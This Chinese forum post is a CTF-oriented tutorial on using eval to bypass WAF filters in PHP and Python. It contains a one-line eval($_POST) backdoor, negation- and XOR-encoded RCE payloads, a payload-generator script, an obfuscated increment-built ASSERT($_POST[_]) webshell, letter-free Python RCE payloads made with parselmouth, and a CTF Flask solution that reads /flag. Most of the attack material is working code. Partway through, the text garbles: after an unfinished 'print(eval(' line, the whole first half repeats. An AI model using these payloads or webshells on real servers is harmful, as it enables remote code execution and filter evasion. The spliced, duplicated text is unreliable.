绕过铁waf的好手--浅谈多语言eval执行
Z3r4y 发表于 四川 WEB安全 979浏览 · 2024-09-27 15:11

绕过铁waf的好手--浅谈多语言eval执行

很多刚入门安全的萌新在了解异或取反自增这些无数字字母RCE手段后,很多就是直接运用,就CTF解题的角度来说确实够了,本文在此认知基础上继续深入。

本文用的环境,一个多语言在线编译器:https://lightly.teamcode.com/

什么是eval&system?

eval() 是一个语言结构,它可以执行字符串中的代码,并返回执行结果。

system(),是一个函数,从RCE的角度,它是从语言代码执行(code)到系统命令执行(command)的桥梁

eval的使用(以php为例)

可以执行任意代码,就攻击的利用可以涉及变量覆盖和命令执行

lab代码

<?php
eval($_POST[1]);

1.正常执行代码

1=print "代码执行示例";


这个过程还可以实现变量声明,自然也就有了变量覆盖的空间

1=$flag=123;echo $flag;

2.执行系统命令

1=system("whoami");

甚至可以在系统命令里执行各种代码命令(以php为例)

1=system("php -r 'print 123;'");

3.执行异或,取反,自增等运算

异或运算 (^):

$code = 'echo 5 ^ 3;';
eval($code);  // 输出 6

取反运算 (~):

$code = 'echo ~5;';
eval($code);  // 输出 -6

自增运算 (++):

$code = '$x = 5; $x++; echo $x;';
eval($code);  // 输出 6

举例
~%8F%97%8F%96%91%99%90是phpinfo的取反

当这样的输入时1=(~%8F%97%8F%96%91%99%90)();
eval就会将其运算为phpinfo(); 并当作代码执行后输出结果

php无字母数字RCE

P牛早在7年前就已经玩过了这个trick
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
而在ctf中也已经存在了非常成熟的用法

或&异或&取反通用脚本

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则

自增构造webshell

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

python的eval?——灵活绕过指定waf

同样的道理,python的eval也可以通过一系列的运算执行恶意代码
利用这个开源项目,可以利用特殊字符集针对给定的waf进行绕过
https://github.com/Macr0phag3/parselmouth
示例:
生成无字母RCE的payload:

python parselmouth.py --payload "__import__('os').popen('whoami').read()" --rule "__" "." "'" '"' "\\" "/" "*" "$" "#" "@" "!" "+" "^" "A" "B" "C" "D" "E" "F" "G" "H" "I" "J" "K" "L" "M" "N" "O" "P" "Q" "R" "S" "T" "U" "V" "W" "X" "Y" "Z" "a" "b" "c" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z"

print(eval("

绕过铁waf的好手--浅谈多语言eval执行

很多刚入门安全的萌新在了解异或取反自增这些无数字字母RCE手段后,很多就是直接运用,就CTF解题的角度来说确实够了,本文在此认知基础上继续深入。

本文用的环境,一个多语言在线编译器:https://lightly.teamcode.com/

什么是eval&system?

eval() 是一个语言结构,它可以执行字符串中的代码,并返回执行结果。

system(),是一个函数,从RCE的角度,它是从语言代码执行(code)到系统命令执行(command)的桥梁

eval的使用(以php为例)

可以执行任意代码,就攻击的利用可以涉及变量覆盖和命令执行

lab代码

<?php
eval($_POST[1]);

1.正常执行代码

1=print "代码执行示例";


这个过程还可以实现变量声明,自然也就有了变量覆盖的空间

1=$flag=123;echo $flag;

2.执行系统命令

1=system("whoami");

甚至可以在系统命令里执行各种代码命令(以php为例)

1=system("php -r 'print 123;'");

3.执行异或,取反,自增等运算

异或运算 (^):

$code = 'echo 5 ^ 3;';
eval($code);  // 输出 6

取反运算 (~):

$code = 'echo ~5;';
eval($code);  // 输出 -6

自增运算 (++):

$code = '$x = 5; $x++; echo $x;';
eval($code);  // 输出 6

举例
~%8F%97%8F%96%91%99%90是phpinfo的取反

当这样的输入时1=(~%8F%97%8F%96%91%99%90)();
eval就会将其运算为phpinfo(); 并当作代码执行后输出结果

php无字母数字RCE

P牛早在7年前就已经玩过了这个trick
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
而在ctf中也已经存在了非常成熟的用法

或&异或&取反通用脚本

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则

自增构造webshell

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

python的eval?——灵活绕过指定waf

同样的道理,python的eval也可以通过一系列的运算执行恶意代码
利用这个开源项目,可以利用特殊字符集针对给定的waf进行绕过
https://github.com/Macr0phag3/parselmouth
示例:
生成无字母RCE的payload:

python parselmouth.py --payload "__import__('os').popen('whoami').read()" --rule "__" "." "'" '"' "\\" "/" "*" "$" "#" "@" "!" "+" "^" "A" "B" "C" "D" "E" "F" "G" "H" "I" "J" "K" "L" "M" "N" "O" "P" "Q" "R" "S" "T" "U" "V" "W" "X" "Y" "Z" "a" "b" "c" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z"


用eval生成的payload,看到成功执行了命令


也可以通过eval返回任意字符串(注意要用单引号包裹)

python parselmouth.py --payload "'Z3r4y'" --rule "__" "." "'" '"' "\\" "/" "*" "$" "#" "@" "!" "+" "^" "A" "B" "C" "D" "E" "F" "G" "H" "I" "J" "K" "L" "M" "N" "O" "P" "Q" "R" "S" "T" "U" "V" "W" "X" "Y" "Z" "a" "b" "c" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z"

例题:御网杯2024 web-flask

题目源码:

from flask import Flask, request, Response
import random
import re

app = Flask(__name__)

@app.route('/')
def index():
    evalme = request.args.get('evalme')

    if ((not evalme) or re.search(r'[A-Zd-z\\. /*$#@!+^]', evalme)):
        return 'hacker?'

    with open(eval(evalme), 'rb') as f:
        return Response(f.read())


if __name__ == '__main__':
    app.run(port=8080)

with open(eval(evalme), 'rb') as f:这种形式显然是要打开一个文件,那么只要令eval(evalme)返回一个'/flag'字符串即可
payload:

python parselmouth.py --payload "'/flag'" --rule "__" "." "'" '"' "read" "chr" "\\" "/" "*" "$" "#" "@" "!" "+" "^" "A" "B" "C" "D" "E" "F" "G" "H" "I" "J" "K" "L" "M" "N" "O" "P" "Q" "R" "S" "T" "U" "V" "W" "X" "Y" "Z" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z"

0 条评论
某人
表情
可输入 255